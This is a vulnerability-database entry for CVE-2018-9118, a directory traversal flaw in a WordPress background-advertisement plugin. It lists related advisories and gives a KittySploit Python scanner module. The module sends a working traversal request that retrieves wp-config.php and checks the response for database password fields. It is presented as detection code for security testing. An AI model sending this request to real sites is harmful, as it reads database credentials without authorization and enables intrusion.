WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2018-9118 | 12 Apr 201815:29 | – | attackerkb | |
| CVE-2018-9118 | 12 Apr 201815:00 | – | cve | |
| CVE-2018-9118 | 12 Apr 201815:00 | – | cvelist | |
| WordPress Plugin Background Takeover < 4.1.4 - Directory Traversal | 9 Apr 201800:00 | – | exploitdb | |
| WordPress Plugin Background Takeover 4.1.4 - Directory Traversal | 9 Apr 201800:00 | – | exploitpack | |
| WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion | 14 Oct 202602:05 | – | nuclei | |
| CVE-2018-9118 | 12 Apr 201815:29 | – | nvd | |
| WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas | |
| CVE-2018-9118 | 12 Apr 201815:29 | – | osv | |
| WordPress Background Takeover plugin <=4.1.4 - Directory Traversal vulnerability | 9 Apr 201800:00 | – | patchstack |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress 99 Robots WP Background Takeover Advertisements 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion Detection',
'description': 'WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'edb', 'wordpress', 'wp-plugin', 'lfi', 'traversal', 'wp', '99robots', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.exploit-db.com/exploits/44417',
'https://wpvulndb.com/vulnerabilities/9056',
'https://99robots.com/docs/wp-background-takeover-advertisements/',
'https://nvd.nist.gov/vuln/detail/CVE-2018-9118',
'https://github.com/ARPSyndicate/cvemon',
],
'cve': 'CVE-2018-9118',
}
def run(self):
r = self.http_request(method="GET", path='/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('DB_NAME', 'DB_PASSWORD', 'DB_HOST', 'The base configurations of the WordPress',)
if (all(m in body for m in body_all)):
self.set_info(
severity='high',
reason="WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion detected",
path='/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php',
)
return True
return False
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28 Jul 2026 11:27Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 37.5
EPSS0.46293